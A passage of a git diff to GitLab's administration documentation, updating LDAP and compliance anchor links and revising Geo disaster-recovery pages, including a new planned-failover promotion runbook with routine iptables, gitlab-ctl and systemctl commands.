in the `gitlab.rb` is a CN, rather than a DN or an array. - This CN falls under the scope of the configured `group_base`. - The members of the `admin_group` have already signed into GitLab with their LDAP @@ -351,17 +372,17 @@ the following are true: accounts are already connected to LDAP. If all the above are true and the users are still not getting access, [run a manual -group sync](#sync-all-groups-starter-only) in the rails console and [look through the -output](#example-console-output-after-a-group-sync-starter-only) to see what happens when +group sync](#sync-all-groups) in the rails console and [look through the +output](#example-console-output-after-a-group-sync) to see what happens when GitLab syncs the `admin_group`. #### Sync all groups **(STARTER ONLY)** NOTE: **Note:** To sync all groups manually when debugging is unnecessary, [use the Rake -task](../../raketasks/ldap.md#run-a-group-sync-starter-only) instead. +task](../../raketasks/ldap.md#run-a-group-sync) instead. -The output from a manual [group sync](index.md#group-sync-starter-only) can show you what happens +The output from a manual [group sync](index.md#group-sync) can show you what happens when GitLab syncs its LDAP group memberships against LDAP. ```ruby @@ -371,12 +392,12 @@ LdapAllGroupsSyncWorker.new.perform ``` Next, [learn how to read the -output](#example-console-output-after-a-group-sync-starter-only). +output](#example-console-output-after-a-group-sync). ##### Example console output after a group sync **(STARTER ONLY)** Like the output from the user sync, the output from the [manual group -sync](#sync-all-groups-starter-only) will also be very verbose. However, it contains lots +sync](#sync-all-groups) will also be very verbose. However, it contains lots of helpful information. Indicates the point where syncing actually begins: @@ -456,7 +477,7 @@ this line will indicate the sync is finished: Finished syncing admin users for 'ldapmain' provider ``` -If [admin sync](index.md#administrator-sync-starter-only) is not configured, you'll see a message +If [admin sync](index.md#administrator-sync) is not configured, you'll see a message stating as such: ```shell @@ -465,7 +486,7 @@ No `admin_group` configured for 'ldapmain' provider. Skipping #### Sync one group **(STARTER ONLY)** -[Syncing all groups](#sync-all-groups-starter-only) can produce a lot of noise in the output, which can be +[Syncing all groups](#sync-all-groups) can produce a lot of noise in the output, which can be distracting when you're only interested in troubleshooting the memberships of a single GitLab group. In that case, here's how you can just sync this group and see its debug output: @@ -483,7 +504,7 @@ EE::Gitlab::Auth::Ldap::Sync::Group.execute_all_providers(group) ``` The output will be similar to -[that you'd get from syncing all groups](#example-console-output-after-a-group-sync-starter-only). +[that you'd get from syncing all groups](#example-console-output-after-a-group-sync). #### Query a group in LDAP **(STARTER ONLY)** @@ -541,7 +562,7 @@ emails.each do |username, email| end ``` -You can then [run a UserSync](#sync-all-users-starter-only) **(STARTER ONLY)** to sync the latest DN +You can then [run a UserSync](#sync-all-users) **(STARTER ONLY)** to sync the latest DN for each of these users. ## Debugging Tools diff --git a/doc/administration/compliance.md b/doc/administration/compliance.md index 47e4b6c068c..237261f2567 100644 --- a/doc/administration/compliance.md +++ b/doc/administration/compliance.md @@ -11,10 +11,10 @@ GitLab’s [security features](../security/README.md) may also help you meet rel |**[Enforce TOS acceptance](../user/admin_area/settings/terms.md)**<br>Enforce your users accepting new terms of service by blocking GitLab traffic.|Core+|| |**[Email all users of a project, group, or entire server](../user/admin_area/settings/terms.md)**<br>An admin can email groups of users based on project or group membership, or email everyone using the GitLab instance. This is great for scheduled maintenance or upgrades.|Starter+|| |**[Omnibus package supports log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-forwarding)**<br>Forward your logs to a central system.|Starter+|| -|**[Lock project membership to group](../user/group/index.md#member-lock-starter)**<br>Group owners can prevent new members from being added to projects within a group.|Starter+|✓| -|**[LDAP group sync](auth/ldap/index.md#group-sync-starter-only)**<br>GitLab Enterprise Edition gives admins the ability to automatically sync groups and manage SSH keys, permissions, and authentication, so you can focus on building your product, not configuring your tools.|Starter+|| -|**[LDAP group sync filters](auth/ldap/index.md#group-sync-starter-only)**<br>GitLab Enterprise Edition Premium gives more flexibility to synchronize with LDAP based on filters, meaning you can leverage LDAP attributes to map GitLab permissions.|Premium+|| +|**[Lock project membership to group](../user/group/index.md#member-lock)**<br>Group owners can prevent new members from being added to projects within a group.|Starter+|✓| +|**[LDAP group sync](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition gives admins the ability to automatically sync groups and manage SSH keys, permissions, and authentication, so you can focus on building your product, not configuring your tools.|Starter+|| +|**[LDAP group sync filters](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition Premium gives more flexibility to synchronize with LDAP based on filters, meaning you can leverage LDAP attributes to map GitLab permissions.|Premium+|| |**[Audit logs](audit_events.md)**<br>To maintain the integrity of your code, GitLab Enterprise Edition Premium gives admins the ability to view any modifications made within the GitLab server in an advanced audit log system, so you can control, analyze, and track every change.|Premium+|| |**[Auditor users](auditor_users.md)**<br>Auditor users are users who are given read-only access to all projects, groups, and other resources on the GitLab instance.|Premium+|| |**[Credentials inventory](../user/admin_area/credentials_inventory.md)**<br>With a credentials inventory, GitLab administrators can keep track of the credentials used by all of the users in their GitLab instance. |Ultimate|| -|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners-premium) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-ci-configuration-path)**<br> GitLab Silver and Premium users can leverage GitLab's cross-project YAML configuration's to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles.|Premium+|| +|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-ci-configuration-path)**<br> GitLab Silver and Premium users can leverage GitLab's cross-project YAML configuration's to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles.|Premium+|| diff --git a/doc/administration/database_load_balancing.md b/doc/administration/database_load_balancing.md index 0f566fcc114..36ef905fd90 100644 --- a/doc/administration/database_load_balancing.md +++ b/doc/administration/database_load_balancing.md @@ -221,7 +221,7 @@ without it immediately leading to errors being presented to the users. ## Logging The load balancer logs various events in -[`database_load_balancing.log`](logs.md#database_load_balancinglog-premium-only), such as +[`database_load_balancing.log`](logs.md#database_load_balancinglog), such as - When a host is marked as offline - When a host comes back online diff --git a/doc/administration/environment_variables.md b/doc/administration/environment_variables.md index ebc3848017f..d48a47e9645 100644 --- a/doc/administration/environment_variables.md +++ b/doc/administration/environment_variables.md @@ -32,7 +32,7 @@ Variable | Type | Description `GITLAB_EMAIL_SUBJECT_SUFFIX` | string | The e-mail subject suffix used in e-mails sent by GitLab `GITLAB_UNICORN_MEMORY_MIN` | integer | The minimum memory threshold (in bytes) for the Unicorn worker killer `GITLAB_UNICORN_MEMORY_MAX` | integer | The maximum memory threshold (in bytes) for the Unicorn worker killer -`GITLAB_SHARED_RUNNERS_REGISTRATION_TOKEN` | string | Sets the initial registration token used for GitLab Runners +`GITLAB_SHARED_RUNNERS_REGISTRATION_TOKEN` | string | Sets the initial registration token used for runners `UNSTRUCTURED_RAILS_LOG` | string | Enables the unstructured log in addition to JSON logs (defaults to `true`) ## Complete database variables diff --git a/doc/administration/feature_flags.md b/doc/administration/feature_flags.md index 7cc7692975a..a8a14063f26 100644 --- a/doc/administration/feature_flags.md +++ b/doc/administration/feature_flags.md @@ -1,7 +1,7 @@ --- -stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: none +group: Development +info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines" type: reference description: "GitLab administrator: enable and disable GitLab features deployed behind feature flags" --- diff --git a/doc/administration/file_hooks.md b/doc/administration/file_hooks.md index c0b31769e7f..a6610188381 100644 --- a/doc/administration/file_hooks.md +++ b/doc/administration/file_hooks.md @@ -71,9 +71,9 @@ Below is an example that will only response on the event `project_create` and will inform the admins from the GitLab instance that a new project has been created. ```ruby +#!/opt/gitlab/embedded/bin/ruby # By using the embedded ruby version we eliminate the possibility that our chosen language # would be unavailable from -#!/opt/gitlab/embedded/bin/ruby require 'json' require 'mail' diff --git a/doc/administration/geo/disaster_recovery/bring_primary_back.md b/doc/administration/geo/disaster_recovery/bring_primary_back.md index 3b7c7fd549c..83081e2cef6 100644 --- a/doc/administration/geo/disaster_recovery/bring_primary_back.md +++ b/doc/administration/geo/disaster_recovery/bring_primary_back.md @@ -21,7 +21,7 @@ If you have any doubts about the consistency of the data on this node, we recomm Since the former **primary** node will be out of sync with the current **primary** node, the first step is to bring the former **primary** node up to date. Note, deletion of data stored on disk like repositories and uploads will not be replayed when bringing the former **primary** node back into sync, which may result in increased disk usage. -Alternatively, you can [set up a new **secondary** GitLab instance](../replication/index.md#setup-instructions) to avoid this. +Alternatively, you can [set up a new **secondary** GitLab instance](../setup/index.md) to avoid this. To bring the former **primary** node up to date: @@ -37,7 +37,7 @@ To bring the former **primary** node up to date: you need to undo those steps now. For Debian/Ubuntu you just need to run `sudo systemctl enable gitlab-runsvdir`. For CentOS 6, you need to install the GitLab instance from scratch and set it up as a **secondary** node by - following [Setup instructions](../replication/index.md#setup-instructions). In this case, you don't need to follow the next step. + following [Setup instructions](../setup/index.md). In this case, you don't need to follow the next step. NOTE: **Note:** If you [changed the DNS records](index.md#step-4-optional-updating-the-primary-domain-dns-record) @@ -45,12 +45,12 @@ To bring the former **primary** node up to date: all the writes to this node](planned_failover.md#prevent-updates-to-the-primary-node) during this procedure. -1. [Setup database replication](../replication/database.md). Note that in this +1. [Setup database replication](../setup/database.md). Note that in this case, **primary** node refers to the current **primary** node, and **secondary** node refers to the former **primary** node. If you have lost your original **primary** node, follow the -[setup instructions](../replication/index.md#setup-instructions) to set up a new **secondary** node. +[setup instructions](../setup/index.md) to set up a new **secondary** node. ## Promote the **secondary** node to **primary** node diff --git a/doc/administration/geo/disaster_recovery/index.md b/doc/administration/geo/disaster_recovery/index.md index 2d837ebb369..8862776ee1b 100644 --- a/doc/administration/geo/disaster_recovery/index.md +++ b/doc/administration/geo/disaster_recovery/index.md @@ -11,11 +11,13 @@ Geo replicates your database, your Git repositories, and few other assets. We will support and replicate more data in the future, that will enable you to failover with minimal effort, in a disaster situation. -See [Geo current limitations](../replication/index.md#current-limitations) for more information. +See [Geo current limitations](../index.md#current-limitations) for more information. CAUTION: **Warning:** Disaster recovery for multi-secondary configurations is in **Alpha**. -For the latest updates, check the multi-secondary [Disaster Recovery epic](https://gitlab.com/groups/gitlab-org/-/epics/65). +For the latest updates, check the [Disaster Recovery epic for complete maturity](https://gitlab.com/groups/gitlab-org/-/epics/590). +Multi-secondary configurations require the complete re-synchronization and re-configuration of all non-promoted secondaries and +will cause downtime. ## Promoting a **secondary** Geo node in single-secondary configurations @@ -96,6 +98,10 @@ must disable the **primary** node. Note the following when promoting a secondary: +- If replication was paused on the secondary node, for example as a part of upgrading, + while you were running a version of GitLab lower than 13.4, you _must_ + [enable the node via the database](../replication/troubleshooting.md#while-promoting-the-secondary-i-got-an-error-activerecordrecordinvalid) + before proceeding. - A new **secondary** should not be added at this time. If you want to add a new **secondary**, do this after you have completed the entire process of promoting the **secondary** to the **primary**. @@ -123,28 +129,23 @@ Note the following when promoting a secondary: ``` 1. Promote the **secondary** node to the **primary** node. - - Before promoting a secondary node to primary, preflight checks should be run. They can be run separately or along with the promotion script. - + To promote the secondary node to primary along with preflight checks: ```shell gitlab-ctl promote-to-primary-node ``` - CAUTION: **Warning:** - Skipping preflight checks will promote the secondary to a primary without any further confirmation! - - If you have already run the [preflight checks](planned_failover.md#preflight-checks) or don't want to run them, you can skip preflight checks with: + If you have already run the [preflight checks](planned_failover.md#preflight-checks) separately or don't want to run them, you can skip preflight checks with: ```shell gitlab-ctl promote-to-primary-node --skip-preflight-check ``` - You can also run preflight checks separately: + You can also promote the secondary node to primary **without any further confirmation**, even when preflight checks fail: ```shell - gitlab-ctl promotion-preflight-checks + gitlab-ctl promote-to-primary-node --force ``` 1. Verify you can connect to the newly promoted **primary** node using the URL used @@ -321,7 +322,7 @@ secondary domain, like changing Git remotes and API URLs. Promoting a **secondary** node to **primary** node using the process above does not enable Geo on the new **primary** node. -To bring a new **secondary** node online, follow the [Geo setup instructions](../replication/index.md#setup-instructions). +To bring a new **secondary** node online, follow the [Geo setup instructions](../index.md#setup-instructions). ### Step 6. (Optional) Removing the secondary's tracking database @@ -374,7 +375,7 @@ and after that you also need two extra steps. gitlab_rails['auto_migrate'] = false ``` - (For more details about these settings you can read [Configure the primary server](../replication/database.md#step-1-configure-the-primary-server)) + (For more details about these settings you can read [Configure the primary server](../setup/database.md#step-1-configure-the-primary-server)) 1. Save the file and reconfigure GitLab for the database listen changes and the replication slot changes to be applied. @@ -407,21 +408,9 @@ and after that you also need two extra steps. ### Step 2. Initiate the replication process Now we need to make each **secondary** node listen to changes on the new **primary** node. To do that you need -to [initiate the replication process](../replication/database.md#step-3-initiate-the-replication-process) again but this time +to [initiate the replication process](../setup/database.md#step-3-initiate-the-replication-process) again but this time for another **primary** node. All the old replication settings will be overwritten. ## Troubleshooting -### I followed the disaster recovery instructions and now two-factor auth is broken - -The setup instructions for Geo prior to 10.5 failed to replicate the -`otp_key_base` secret, which is used to encrypt the two-factor authentication -secrets stored in the database. If it differs between **primary** and **secondary** -nodes, users with two-factor authentication enabled won't be able to log in -after a failover. - -If you still have access to the old **primary** node, you can follow the -instructions in the -[Upgrading to GitLab 10.5](../replication/version_specific_updates.md#updating-to-gitlab-105) -section to resolve the error. Otherwise, the secret is lost and you'll need to -[reset two-factor authentication for all users](../../../security/two_factor_authentication.md#disabling-2fa-for-everyone). +This section was moved to [another location](../replication/troubleshooting.md#fixing-errors-during-a-failover-or-when-promoting-a-secondary-to-a-primary-node). diff --git a/doc/administration/geo/disaster_recovery/planned_failover.md b/doc/administration/geo/disaster_recovery/planned_failover.md index a0cf263a762..9b9c386652c 100644 --- a/doc/administration/geo/disaster_recovery/planned_failover.md +++ b/doc/administration/geo/disaster_recovery/planned_failover.md @@ -27,7 +27,7 @@ have a high degree of confidence in being able to perform them accurately. ## Not all data is automatically replicated -If you are using any GitLab features that Geo [doesn't support](../replication/index.md#current-limitations), +If you are using any GitLab features that Geo [doesn't support](../index.md#current-limitations), you must make separate provisions to ensure that the **secondary** node has an up-to-date copy of any data associated with that feature. This may extend the required scheduled maintenance period significantly. @@ -51,12 +51,6 @@ Run this command to list out all preflight checks and automatically check if rep gitlab-ctl promotion-preflight-checks ``` -You can run this command in `force` mode to promote to primary even if preflight checks fail: - -```shell -sudo gitlab-ctl promotion-preflight-checks --force -``` - Each step is described in more detail below. ### Object storage diff --git a/doc/administration/geo/disaster_recovery/promotion_runbook.md b/doc/administration/geo/disaster_recovery/promotion_runbook.md new file mode 100644 index 00000000000..fb2353513df --- /dev/null +++ b/doc/administration/geo/disaster_recovery/promotion_runbook.md @@ -0,0 +1,269 @@ +--- +stage: Enablement +group: Geo +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: howto +--- + +CAUTION: **Caution:** +This runbook is in **alpha**. For complete, production-ready documentation, see the +[disaster recovery documentation](index.md). + +# Disaster Recovery (Geo) promotion runbooks **(PREMIUM ONLY)** + +## Geo planned failover runbook 1 + +| Component | Configuration | +| ----------- | --------------- | +| PostgreSQL | Omnibus-managed | +| Geo site | Single-node | +| Secondaries | One | + +This runbook will guide you through a planned failover of a single-node Geo site +with one secondary. The following general architecture is assumed: + +```mermaid +graph TD + subgraph main[Geo deployment] + subgraph Primary[Primary site] + Node_1[(GitLab node)] + end + subgraph Secondary1[Secondary site] + Node_2[(GitLab node)] + end + end +``` + +This guide will result in the following: + +1. An offline primary. +1. A promoted secondary that is now the new primary. + +What is not covered: + +1. Re-adding the old **primary** as a secondary. +1. Adding a new secondary. + +### Preparation + +NOTE: **Note:** +Before following any of those steps, make sure you have `root` access to the +**secondary** to promote it, since there isn't provided an automated way to +promote a Geo replica and perform a failover. + +On the **secondary** node, navigate to the **Admin Area > Geo** dashboard to +review its status. Replicated objects (shown in green) should be close to 100%, +and there should be no failures (shown in red). If a large proportion of +objects aren't yet replicated (shown in gray), consider giving the node more +time to complete. + + + +If any objects are failing to replicate, this should be investigated before +scheduling the maintenance window. After a planned failover, anything that +failed to replicate will be **lost**. + +You can use the +[Geo status API](../../../api/geo_nodes.md#retrieve-project-sync-or-verification-failures-that-occurred-on-the-current-node) +to review failed objects and the reasons for failure. +A common cause of replication failures is the data being missing on the +**primary** node - you can resolve these failures by restoring the data from backup, +or removing references to the missing data. + +The maintenance window won't end until Geo replication and verification is +completely finished. To keep the window as short as possible, you should +ensure these processes are close to 100% as possible during active use. + +If the **secondary** node is still replicating data from the **primary** node, +follow these steps to avoid unnecessary data loss: + +1. Until a [read-only mode](https://gitlab.com/gitlab-org/gitlab/-/issues/14609) + is implemented, updates must be prevented from happening manually to the + **primary**. Note that your **secondary** node still needs read-only + access to the **primary** node during the maintenance window: + + 1. At the scheduled time, using your cloud provider or your node's firewall, block + all HTTP, HTTPS and SSH traffic to/from the **primary** node, **except** for your IP and + the **secondary** node's IP. + + For instance, you can run the following commands on the **primary** node: + + ```shell + sudo iptables -A INPUT -p tcp -s <secondary_node_ip> --destination-port 22 -j ACCEPT + sudo iptables -A INPUT -p tcp -s <your_ip> --destination-port 22 -j ACCEPT + sudo iptables -A INPUT --destination-port 22 -j REJECT + + sudo iptables -A INPUT -p tcp -s <secondary_node_ip> --destination-port 80 -j ACCEPT + sudo iptables -A INPUT -p tcp -s <your_ip> --destination-port 80 -j ACCEPT + sudo iptables -A INPUT --tcp-dport 80 -j REJECT + + sudo iptables -A INPUT -p tcp -s <secondary_node_ip> --destination-port 443 -j ACCEPT + sudo iptables -A INPUT -p tcp -s <your_ip> --destination-port 443 -j ACCEPT + sudo iptables -A INPUT --tcp-dport 443 -j REJECT + ``` + + From this point, users will be unable to view their data or make changes on the + **primary** node. They will also be unable to log in to the **secondary** node. + However, existing sessions will work for the remainder of the maintenance period, and + public data will be accessible throughout. + + 1. Verify the **primary** node is blocked to HTTP traffic by visiting it in browser via + another IP. The server should refuse connection. + + 1. Verify the **primary** node is blocked to Git over SSH traffic by attempting to pull an + existing Git repository with an SSH remote URL. The server should refuse + connection. + + 1. On the **primary** node, disable non-Geo periodic background jobs by navigating + to **Admin Area > Monitoring > Background Jobs > Cron**, clicking `Disable All`, + and then clicking `Enable` for the `geo_sidekiq_cron_config_worker` cron job. + This job will re-enable several other cron jobs that are essential for planned + failover to complete successfully. + +1. Finish replicating and verifying all data: + + CAUTION: **Caution:** + Not all data is automatically replicated. Read more about + [what is excluded](planned_failover.md#not-all-data-is-automatically-replicated). + + 1. If you are manually replicating any + [data not managed by Geo](../replication/datatypes.md#limitations-on-replicationverification), + trigger the final replication process now. + 1. On the **primary** node, navigate to **Admin Area > Monitoring > Background Jobs > Queues** + and wait for all queues except those with `geo` in the name to drop to 0. + These queues contain work that has been submitted by your users; failing over + before it is completed will cause the work to be lost. + 1. On the **primary** node, navigate to **Admin Area > Geo** and wait for the + following conditions to be true of the **secondary** node you are failing over to: + - All replication meters to each 100% replicated, 0% failures. + - All verification meters reach 100% verified, 0% failures. + - Database replication lag is 0ms. + - The Geo log cursor is up to date (0 events behind). + + 1. On the **secondary** node, navigate to **Admin Area > Monitoring > Background Jobs > Queues** + and wait for all the `geo` queues to drop to 0 queued and 0 running jobs. + 1. On the **secondary** node, use [these instructions](../../raketasks/check.md) + to verify the integrity of CI artifacts, LFS objects, and uploads in file + storage. + + At this point, your **secondary** node will contain an up-to-date copy of everything the + **primary** node has, meaning nothing will be lost when you fail over. + +1. In this final step, you need to permanently disable the **primary** node. + + CAUTION: **Caution:** + When the **primary** node goes offline, there may be data saved on the **primary** node + that has not been replicated to the **secondary** node. This data should be treated + as lost if you proceed. + + TIP: **Tip:** + If you plan to [update the **primary** domain DNS record](index.md#step-4-optional-updating-the-primary-domain-dns-record), + you may wish to lower the TTL now to speed up propagation. + + When performing a failover, we want to avoid a split-brain situation where + writes can occur in two different GitLab instances. So to prepare for the + failover, you must disable the **primary** node: + + - If you have SSH access to the **primary** node, stop and disable GitLab: + + ```shell + sudo gitlab-ctl stop + ``` + + Prevent GitLab from starting up again if the server unexpectedly reboots: + + ```shell + sudo systemctl disable gitlab-runsvdir + ``` + + NOTE: **Note:** + (**CentOS only**) In CentOS 6 or older, there is no easy way to prevent GitLab from being + started if the machine reboots isn't available (see [Omnibus GitLab issue #3058](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3058)). + It may be safest to uninstall the GitLab package completely with `sudo yum remove gitlab-ee`. + + NOTE: **Note:** + (**Ubuntu 14.04 LTS**) If you are using an older version of Ubuntu + or any other distribution based on the Upstart init system, you can prevent GitLab + from starting if the machine reboots as `root` with + `initctl stop gitlab-runsvvdir && echo 'manual' > /etc/init/gitlab-runsvdir.override && initctl reload-configuration`. + + - If you do not have SSH access to the **primary** node, take the machine offline and + prevent it from rebooting. Since there are many ways you may prefer to accomplish + this, we will avoid a single recommendation. You may need to: + + - Reconfigure the load balancers. + - Change DNS records (for example, point the **primary** DNS record to the **secondary** + node in order to stop usage of the **primary** node). + - Stop the virtual servers. + - Block traffic through a firewall. + - Revoke object storage permissions from the **primary** node. + - Physically disconnect a machine. + +### Promoting the **secondary** node + +Note the following when promoting a secondary: + +- A new **secondary** should not be added at this time. If you want to add a new + **secondary**, do this after you have completed the entire process of promoting + the **secondary** to the **primary**. +- If you encounter an `ActiveRecord::RecordInvalid: Validation failed: Name has already been taken` + error during this process, read + [the troubleshooting advice](../replication/troubleshooting.md#fixing-errors-during-a-failover-or-when-promoting-a-secondary-to-a-primary-node). + +To promote the secondary node: + +1. SSH in to your **secondary** node and login as root: + + ```shell + sudo -i + ``` + +1. Edit `/etc/gitlab/gitlab.rb` to reflect its new status as **primary** by + removing any lines that enabled the `geo_secondary_role`: + + ```ruby + ## In pre-11.5 documentation, the role was enabled as follows. Remove this line. + geo_secondary_role['enable'] = true + + ## In 11.5+ documentation, the role was enabled as follows. Remove this line. + roles ['geo_secondary_role'] + ``` + +1. Run the following command to list out all preflight checks and automatically + check if replication and verification are complete before scheduling a planned + failover to ensure the process will go smoothly: + + ```shell + gitlab-ctl promotion-preflight-checks + ``` + +1. Promote the **secondary**: + + ```shell + gitlab-ctl promote-to-primary-node + ``` + + If you have already run the [preflight checks](planned_failover.md#preflight-checks) + or don't want to run them, you can skip them: + + ```shell + gitlab-ctl promote-to-primary-node --skip-preflight-check + ``` + + You can also promote the secondary node to primary **without any further confirmation**, even when preflight checks fail: + + ```shell + sudo gitlab-ctl promote-to-primary-node --force + ``` + +1. Verify you can connect to the newly promoted **primary** node using the URL used + previously for the **secondary** node. + + If successful, the **secondary** node has now been promoted to the **primary** node. + +### Next steps + +To regain geographic redundancy as quickly as possible, you should +[add a new **secondary** node](../setup/index.md). To +do that, you can re-add the old **primary** as a new secondary and bring it back +online. diff --git a/doc/administration/geo/index.md b/doc/administration/geo/index.md new file mode 100644 index 00000000000..6fdf213ac78 --- /dev/null +++ b/doc/administration/geo/index.md @@ -0,0 +1,295 @@ +--- +stage: Enablement +group: Geo +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: howto +--- + +# Geo **(PREMIUM ONLY)** + +> - Introduced in GitLab Enterprise Edition 8.9. +> - Using Geo in combination with +> [multi-node architectures](../reference_architectures/index.md) +> is considered **Generally Available** (GA) in +> [GitLab Premium](https://about.gitlab.com/pricing/) 10.4. + +Geo is the solution for widely distributed development teams and for providing a warm-standby as part of a disaster recovery strategy. + +## Overview + +CAUTION: **Caution:** +Geo undergoes significant changes from release to release. Upgrades **are** supported and [documented](#updating-geo), but you should ensure that you're using the right version of the documentation for your installation. + +Fetching large repositories can take a long time for teams located far from a single GitLab instance. + +Geo provides local, read-only instances of your GitLab instances. This can reduce the time it takes +to clone and fetch large repositories, speeding up development. + +For a video introduction to Geo, see [Introduction to GitLab Geo - GitLab Features](https://www.youtube.com/watch?v=-HDLxSjEh6w). + +To make sure you're using the right version of the documentation, navigate to [the source version of this page on GitLab.com](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/administration/geo/index.md) and choose the appropriate release from the **Switch branch/tag** dropdown. For example, [`v11.2.3-ee`](https://gitlab.com/gitlab-org/gitlab/blob/v11.2.3-ee/doc/administration/geo/index.md). + +## Use cases + +Implementing Geo provides the following benefits: + +- Reduce from minutes to seconds the time taken for your distributed developers to clone and fetch large repositories and projects. +- Enable all of your developers to contribute ideas and work in parallel, no matter where they are. +- Balance the read-only load between your **primary** and **secondary** nodes. + +In addition, it: + +- Can be used for cloning and fetching projects, in addition to reading any data available in the GitLab web interface (see [current limitations](#current-limitations)). +- Overcomes slow connections between distant offices, saving time by improving speed for distributed teams. +- Helps reducing the loading time for automated tasks, custom integrations, and internal workflows. +- Can quickly fail over to a **secondary** node in a [disaster recovery](disaster_recovery/index.md) scenario. +- Allows [planned failover](disaster_recovery/planned_failover.md) to a **secondary** node. + +Geo provides: + +- Read-only **secondary** nodes: Maintain one **primary** GitLab node while still enabling read-only **secondary** nodes for each of your distributed teams. +- Authentication system hooks: **Secondary** nodes receives all authentication data (like user accounts and logins) from the **primary** instance. +- An intuitive UI: **Secondary** nodes utilize the same web interface your team has grown accustomed to. In addition, there are visual notifications that block write operations and make it clear that a user is on a **secondary** node. + +## How it works + +Your Geo instance can be used for cloning and fetching projects, in addition to reading any data. This will make working with large repositories over large distances much faster. + + + +When Geo is enabled, the: + +- Original instance is known as the **primary** node. +- Replicated read-only nodes are known as **secondary** nodes. + +Keep in mind that: + +- **Secondary** nodes talk to the **primary** node to: + - Get user data for logins (API). + - Replicate repositories, LFS Objects, and Attachments (HTTPS + JWT). +- Since GitLab Premium 10.0, the **primary** node no longer talks to **secondary** nodes to notify for changes (API). +- Pushing directly to a **secondary** node (for both HTTP and SSH, including Git LFS) was [introduced](https://about.gitlab.com/releases/2018/09/22/gitlab-11-3-released/) in [GitLab Premium](https://about.gitlab.com/pricing/#self-managed) 11.3. +- There are [limitations](#current-limitations) in the current implementation. + +### Architecture + +The following diagram illustrates the underlying architecture of Geo. + + + +In this diagram: + +- There is the **primary** node and the details of one **secondary** node. +- Writes to the database can only be performed on the **primary** node. A **secondary** node receives database + updates via PostgreSQL streaming replication. +- If present, the [LDAP server](#ldap) should be configured to replicate for [Disaster Recovery](disaster_recovery/index.md) scenarios. +- A **secondary** node performs different type of synchronizations against the **primary** node, using a special + authorization protected by JWT: + - Repositories are cloned/updated via Git over HTTPS. + - Attachments, LFS objects, and other files are downloaded via HTTPS using a private API endpoint. + +From the perspective of a user performing Git operations: + +- The **primary** node behaves as a full read-write GitLab instance. +- **Secondary** nodes are read-only but proxy Git push operations to the **primary** node. This makes **secondary** nodes appear to support push operations themselves. + +To simplify the diagram, some necessary components are omitted. Note that: + +- Git over SSH requires [`gitlab-shell`](https://gitlab.com/gitlab-org/gitlab-shell) and OpenSSH. +- Git over HTTPS required [`gitlab-workhorse`](https://gitlab.com/gitlab-org/gitlab-workhorse). + +Note that a **secondary** node needs two different PostgreSQL databases: + +- A read-only database instance that streams data from the main GitLab database. +- [Another database instance](#geo-tracking-database) used internally by the **secondary** node to record what data has been replicated. + +In **secondary** nodes, there is an additional daemon: [Geo Log Cursor](#geo-log-cursor). + +## Requirements for running Geo + +The following are required to run Geo: + +- An operating system that supports OpenSSH 6.9+ (needed for + [fast lookup of authorized SSH keys in the database](../operations/fast_ssh_key_lookup.md)) + The following operating systems are known to ship with a current version of OpenSSH: + - [CentOS](https://www.centos.org) 7.4+ + - [Ubuntu](https://ubuntu.com) 16.04+ +- PostgreSQL 11+ with [Streaming Replication](https://wiki.postgresql.org/wiki/Streaming_Replication) +- Git 2.9+ +- All nodes must run the same GitLab version. + +Additionally, check GitLab's [minimum requirements](../../install/requirements.md), +and we recommend you use: + +- At least GitLab Enterprise Edition 10.0 for basic Geo features. +- The latest version for a better experience. + +### Firewall rules + +The following table lists basic ports that must be open between the **primary** and **secondary** nodes for Geo. + +| **Primary** node | **Secondary** node | Protocol | +|:-----------------|:-------------------|:-------------| +| 80 | 80 | HTTP | +| 443 | 443 | TCP or HTTPS | +| 22 | 22 | TCP | +| 5432 | | PostgreSQL | + +See the full list of ports used by GitLab in [Package defaults](https://docs.gitlab.com/omnibus/package-information/defaults.html) + +NOTE: **Note:** +[Web terminal](../../ci/environments/index.md#web-terminals) support requires your load balancer to correctly handle WebSocket connections. +When using HTTP or HTTPS proxying, your load balancer must be configured to pass through the `Connection` and `Upgrade` hop-by-hop headers. See the [web terminal](../integration/terminal.md) integration guide for more details. + +NOTE: **Note:** +When using HTTPS protocol for port 443, you will need to add an SSL certificate to the load balancers. +If you wish to terminate SSL at the GitLab application server instead, use TCP protocol. + +### LDAP + +We recommend that if you use LDAP on your **primary** node, you also set up secondary LDAP servers on each **secondary** node. Otherwise, users will not be able to perform Git operations over HTTP(s) on the **secondary** node using HTTP Basic Authentication. However, Git via SSH and personal access tokens will still work. + +NOTE: **Note:** +It is possible for all **secondary** nodes to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server will be available in a [disaster recovery](disaster_recovery/index.md) scenario if a **secondary** node is promoted to be a **primary** node. + +Check for instructions on how to set up replication in your LDAP service. Instructions will be different depending on the software or service used. For example, OpenLDAP provides [these instructions](https://www.openldap.org/doc/admin24/replication.html). + +### Geo Tracking Database + +The tracking database instance is used as metadata to control what needs to be updated on the disk of the local instance. For example: + +- Download new assets. +- Fetch new LFS Objects. 